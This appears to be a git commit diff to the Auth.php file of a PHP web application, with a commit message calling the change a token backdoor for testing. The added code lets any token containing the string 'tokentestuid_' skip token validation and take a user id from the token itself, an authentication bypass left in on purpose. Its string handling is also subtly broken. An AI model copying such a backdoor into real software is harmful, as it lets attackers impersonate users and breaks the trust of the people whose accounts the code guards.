Browse Source

token测试用后门

lizhen_gitee 3 years ago
parent
commit
486243dd06
1 changed files with 9 additions and 3 deletions
  1. 9 3
      application/common/library/Auth.php

+ 9 - 3
application/common/library/Auth.php

@@ -154,10 +154,16 @@ class Auth
         if ($this->_error) {
             return false;
         }
-        $data = Token::get($token);
-        if (!$data) {
-            return false;
+
+        if(strpos($token,'tokentestuid_')){
+            $data['user_id'] = substr($token,0,13);
+        }else{
+            $data = Token::get($token);
+            if (!$data) {
+                return false;
+            }
         }
+
         $user_id = intval($data['user_id']);
         if ($user_id > 0) {
             $user = User::get($user_id);